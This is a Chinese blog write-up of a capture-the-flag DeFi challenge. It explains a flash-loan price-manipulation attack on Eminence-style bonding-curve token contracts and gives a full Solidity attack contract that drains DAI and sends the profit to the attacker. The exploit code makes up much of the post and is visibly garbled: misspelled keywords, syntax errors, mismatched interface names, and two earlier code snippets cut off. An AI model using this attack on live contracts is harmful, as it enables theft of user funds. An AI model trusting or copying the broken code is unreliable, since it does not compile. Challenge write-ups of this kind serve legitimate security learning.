CTF-bonding-curve
CTF-bonding-curve
题目码源:点击
题目要求:
他们即将推出的游戏发布了两个代币合同:EMN和TOKEN,它们允许你根据各自的粘合曲线进行铸造。
DAI 用于铸造 EMN,EMN 用于铸造 TOKEN。
您的任务是窃取至少 50,000 个 DAI。您开始时没有token。
这次感觉后面的题目就上难度了,粘合曲线就是一个新知识了。
首先这个合约这个合约有点多,慢慢来分析,BancorBondingCurve
合约实现了一个关键的债务曲线,数学知识很多,了解就行。EminenceCurrency
合约实现了EMN->TOkEN,买入token,消耗EMN。EminenceCurrencyBase
合约实现了DAI->EMN,买入EMN,消耗DAI,EminenceCurrencyHepler
合约,就是对债务曲线的实现。
梳理完后,就是要获得DAI代币,而我们又没有钱,所以就只能借,那就是闪电贷的实现,这道题很容易想到套利,那么如何在买卖中获得利润,就是我们要实现了的
在EminenceCurrencyBase
合约看到买EMN的函数
|
看起来很正常
但是看向EminenceCurrency
合约中买token的函数
function claim(address _from, uint _amount) external { |
发现还是有点区别的,一个是实现DAI的转账,一个是实现EMN的销毁,那么自身的EMN销毁后,对于债务曲线还是有影响的。
所以一个套利思路就有了:首先使用闪电贷,借入DAI,然后用全部的DAI购买EMN,再在闪电贷执行回调函数的函数的时候,拿出一部分的EMN进行购买token,这样市场的EMN就会被销毁,那么就影响到了此时的EMN的价格,然后在通过swap把token交换成EMN,我们在进行高价出售EMN,就能获得更多的DAI,然后还钱,剩下的DAI就归我们所有。
攻击合约如下:
//SPDX-License-Identifier:MIT
pragma solidity ^0.8.17;
//因为需要闪电贷,使用unisawpV2来进行
interface IUinswapV2Pair{
function swap(uint amount0,uint amoun2,address to,bytes calldata data) exteranl;
}
interface IEminceCurrency{
function buy(uint _amount, uint _min) external returns (uint _bought);
function sell(uint _amount, uint _min) external returns (uint _bought) ;
}
interface TokenERC20{
function balanceOf(address token) exteranl ;
function approve(address spender, uint256 amount) external ;
}
contract Hack{
IUniswapV2Pair pair;
IEminceCurrency buyemn;
IEminceCurrency buytoken;
TokenERC20 dai
constructor(address _pair,address _buyemn;address buytoken,address _dai)
{
pair = IUniswapV2Pair(_pair);
buyemn = IEminceCurrency(_buyemn);
buytoken = IEminceCurrency(_buytoken);
dai = TokenERC20(_dai);
}
function pwn (uint256 amount) exteranl {
pair.swap(0,amount,address(this),bytes())
}
function uiswapV2call (address _sender,uint256 amount0,uint256 amount1,bytes calldata _data) exteranl {
uint256 daiamount =dai.balanceOf(address(this));
dai.approve(address(buyemn),type.(uint256).max);
dai.approve(address(buytoken),type(uint256).max);
//买入EMN;
uint256 buy1amount = buyemn.buy(daiamount,0);
//用1/2的EMN,买入token,此时会销毁EMN,导致EMN的价格额升高
uint256 buy2amount = buytoken.buy(buy1amount/2,0);
//出售EMN
uint256 sell1amount = buyemn.sell(buy1amount/2,0);
//出售token获得EMN
uint256 sell2amount = buytoken.sell(buy2amount,0);
//出售剩下的EMN
uint256 sell3amount = buyemn.sell(sell2amount,0);
uint256 daitotal = sell1amount + sell3amount;
//还本金加利息
uint256 returnamount = (amount1*(10**18)*1000/997/(10**18))+1;
dai.transfer (msg.sender,returnamount);
//将剩下的dai发送给我们自己
dai.transfer(tx.origin,(daitotal-returnamount));
}
}
完结,个人认为,就是首先,要想到使用闪电贷,使用套利,发现漏洞的存在。
All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.